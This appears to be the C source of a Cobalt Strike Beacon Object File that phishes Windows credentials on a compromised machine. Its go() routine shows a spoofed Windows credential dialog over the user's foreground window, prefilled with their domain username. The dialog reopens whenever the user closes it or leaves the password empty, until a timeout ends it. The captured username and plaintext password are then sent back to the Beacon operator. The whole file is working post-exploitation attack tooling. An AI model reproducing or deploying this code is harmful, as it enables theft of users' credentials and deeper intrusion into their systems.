credprompt.c 8.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266
  1. #define SECURITY_WIN32
  2. #include <stdio.h>
  3. #include <windows.h>
  4. #include <wincred.h>
  5. #include <Lmcons.h>
  6. #include <security.h>
  7. #include "credprompt.h"
  8. #include "beacon.h"
  9. #pragma comment(lib, "Secur32.lib")
  10. #pragma comment(lib, "credui.lib")
  11. #pragma comment(lib, "ole32.lib")
  12. #pragma comment(lib, "user32.lib")
  13. typedef struct {
  14. UINT timeout;
  15. HANDLE hTimeoutEvent;
  16. } TIMEOUT_STRUCT;
  17. //START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
  18. #ifndef bufsize
  19. #define bufsize 8192
  20. #endif
  21. char *output = 0;
  22. WORD currentoutsize = 0;
  23. HANDLE trash = NULL;
  24. int bofstart();
  25. void internal_printf(const char* format, ...);
  26. void printoutput(BOOL done);
  27. int bofstart() {
  28. output = (char*)MSVCRT$calloc(bufsize, 1);
  29. currentoutsize = 0;
  30. return 1;
  31. }
  32. void internal_printf(const char* format, ...){
  33. int buffersize = 0;
  34. int transfersize = 0;
  35. char * curloc = NULL;
  36. char* intBuffer = NULL;
  37. va_list args;
  38. va_start(args, format);
  39. buffersize = MSVCRT$vsnprintf(NULL, 0, format, args);
  40. va_end(args);
  41. if (buffersize == -1) return;
  42. char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
  43. intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
  44. va_start(args, format);
  45. MSVCRT$vsnprintf(intBuffer, buffersize, format, args);
  46. va_end(args);
  47. if(buffersize + currentoutsize < bufsize)
  48. {
  49. MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
  50. currentoutsize += buffersize;
  51. } else {
  52. curloc = intBuffer;
  53. while(buffersize > 0)
  54. {
  55. transfersize = bufsize - currentoutsize;
  56. if(buffersize < transfersize)
  57. {
  58. transfersize = buffersize;
  59. }
  60. MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
  61. currentoutsize += transfersize;
  62. if(currentoutsize == bufsize)
  63. {
  64. printoutput(FALSE);
  65. }
  66. MSVCRT$memset(transferBuffer, 0, transfersize);
  67. curloc += transfersize;
  68. buffersize -= transfersize;
  69. }
  70. }
  71. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
  72. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
  73. }
  74. void printoutput(BOOL done) {
  75. char * msg = NULL;
  76. BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
  77. currentoutsize = 0;
  78. MSVCRT$memset(output, 0, bufsize);
  79. if(done) {MSVCRT$free(output); output=NULL;}
  80. }
  81. //END TrustedSec BOF print code.
  82. BOOL is_empty_or_whitespace(WCHAR *str) {
  83. if (str == NULL) {
  84. return TRUE;
  85. }
  86. while (*str) {
  87. if (!MSVCRT$iswspace(*str)) {
  88. return FALSE;
  89. }
  90. str++;
  91. }
  92. return TRUE;
  93. }
  94. BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) {
  95. WCHAR className[256] = {0};
  96. USER32$GetClassNameW(hWnd, className, sizeof(className) / sizeof(WCHAR));
  97. if (MSVCRT$wcscmp(className, L"Credential Dialog Xaml Host") == 0) {
  98. USER32$PostMessageW(hWnd, WM_CLOSE, 0, 0);
  99. return FALSE;
  100. }
  101. return TRUE;
  102. }
  103. DWORD WINAPI PromptWithTimeout(LPVOID lParam) {
  104. TIMEOUT_STRUCT *pTimeoutStruct = (TIMEOUT_STRUCT *)lParam;
  105. UINT timeout = pTimeoutStruct->timeout;
  106. HANDLE hTimeoutEvent = pTimeoutStruct->hTimeoutEvent;
  107. KERNEL32$Sleep(timeout * 1000);
  108. USER32$EnumWindows(EnumWindowsProc, 0);
  109. KERNEL32$SetEvent(hTimeoutEvent);
  110. return 0;
  111. }
  112. BOOL PromptForCreds(LPWSTR title, LPWSTR message, LPWSTR *username, LPWSTR *password, LPWSTR *domain, UINT timeout)
  113. {
  114. PVOID packed_credentials = NULL;
  115. ULONG packed_credentials_size = 0;
  116. HANDLE hTimeoutEvent = KERNEL32$CreateEventW(NULL, TRUE, FALSE, NULL);
  117. // Get current username in DOMAIN\USERNAME format
  118. WCHAR domainUsername[DNLEN + UNLEN + 2];
  119. ULONG nSize = sizeof(domainUsername) / sizeof(WCHAR);
  120. if (SECUR32$GetUserNameExW(NameSamCompatible, domainUsername, &nSize)) {
  121. // Pack current username
  122. WCHAR prefilled_username[DNLEN + UNLEN + 2];
  123. MSVCRT$_snwprintf(prefilled_username, (sizeof(prefilled_username) / sizeof(WCHAR)) - 1, L"%s", domainUsername);
  124. CREDUI$CredPackAuthenticationBufferW(0, prefilled_username, L"", NULL, &packed_credentials_size);
  125. packed_credentials = MSVCRT$malloc(packed_credentials_size);
  126. CREDUI$CredPackAuthenticationBufferW(0, prefilled_username, L"", (PBYTE)packed_credentials, &packed_credentials_size);
  127. }
  128. BOOL bValidPassword = FALSE;
  129. DWORD result;
  130. TIMEOUT_STRUCT timeoutStruct;
  131. timeoutStruct.timeout = timeout;
  132. timeoutStruct.hTimeoutEvent = hTimeoutEvent;
  133. DWORD threadId;
  134. HANDLE hThread = KERNEL32$CreateThread(NULL, 0, PromptWithTimeout, (LPVOID)&timeoutStruct, 0, &threadId);
  135. internal_printf("\nPrompt event log:\n");
  136. internal_printf("==============================================\n");
  137. do {
  138. // Prompt for credentials
  139. CREDUI_INFOW credui_info = {0};
  140. credui_info.cbSize = sizeof(credui_info);
  141. credui_info.pszCaptionText = title;
  142. credui_info.pszMessageText = message;
  143. credui_info.hwndParent = NULL;
  144. HWND hWnd = USER32$GetForegroundWindow();
  145. if (hWnd != NULL) {
  146. credui_info.hwndParent = hWnd;
  147. }
  148. DWORD auth_package = 0;
  149. BOOL save_credentials = FALSE;
  150. ULONG out_credentials_size = 0;
  151. LPVOID out_credentials = NULL;
  152. result = CREDUI$CredUIPromptForWindowsCredentialsW(&credui_info, 0, &auth_package, packed_credentials, packed_credentials_size, &out_credentials, &out_credentials_size, &save_credentials, CREDUIWIN_GENERIC | CREDUIWIN_CHECKBOX);
  153. if (result == NO_ERROR)
  154. {
  155. *username = (LPWSTR)MSVCRT$malloc(CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR));
  156. *password = (LPWSTR)MSVCRT$malloc(CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR));
  157. *domain = (LPWSTR)MSVCRT$malloc(CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR));
  158. ULONG max_username = CREDUI_MAX_USERNAME_LENGTH;
  159. ULONG max_password = CREDUI_MAX_USERNAME_LENGTH;
  160. ULONG max_domain = CREDUI_MAX_USERNAME_LENGTH;
  161. CREDUI$CredUnPackAuthenticationBufferW(0, out_credentials, out_credentials_size, *username, &max_username, *domain, &max_domain, *password, &max_password);
  162. bValidPassword = !is_empty_or_whitespace(*password);
  163. if (!bValidPassword) {
  164. internal_printf("[!] User tried to enter empty password\n");
  165. }
  166. MSVCRT$memset(out_credentials, 0, out_credentials_size);
  167. OLE32$CoTaskMemFree(out_credentials);
  168. }
  169. else {
  170. if (KERNEL32$WaitForSingleObject(hTimeoutEvent, 0) == WAIT_OBJECT_0) {
  171. internal_printf("[!] Credential prompt timed out\n");
  172. break;
  173. } else {
  174. internal_printf("[!] User tried to close the prompt\n");
  175. }
  176. }
  177. } while (!bValidPassword);
  178. KERNEL32$TerminateThread(hThread, 0);
  179. KERNEL32$CloseHandle(hThread);
  180. if (packed_credentials)
  181. {
  182. MSVCRT$memset(packed_credentials, 0, packed_credentials_size);
  183. MSVCRT$free(packed_credentials);
  184. }
  185. return bValidPassword;
  186. }
  187. int go(char *args, int len) {
  188. LPWSTR title = L"";
  189. LPWSTR message = L"";
  190. LPWSTR username = NULL;
  191. LPWSTR password = NULL;
  192. LPWSTR domain = NULL;
  193. UINT timer_seconds = 60;
  194. datap parser;
  195. BeaconDataParse(&parser, args, len);
  196. title = BeaconDataExtract(&parser, NULL);
  197. message = BeaconDataExtract(&parser, NULL);
  198. timer_seconds = BeaconDataInt(&parser, NULL);
  199. if(!bofstart()) return;
  200. if (PromptForCreds(title, message, &username, &password, &domain, timer_seconds))
  201. {
  202. internal_printf("[+] Entered credentials by user:\n\tUsername: %ls\n\tPassword: %ls\n", username, password);
  203. printoutput(TRUE);
  204. MSVCRT$memset(password, 0, MSVCRT$wcslen(password) * sizeof(WCHAR));
  205. MSVCRT$free(username);
  206. MSVCRT$free(password);
  207. MSVCRT$free(domain);
  208. }
  209. else
  210. {
  211. printoutput(TRUE);
  212. }
  213. return 0;
  214. }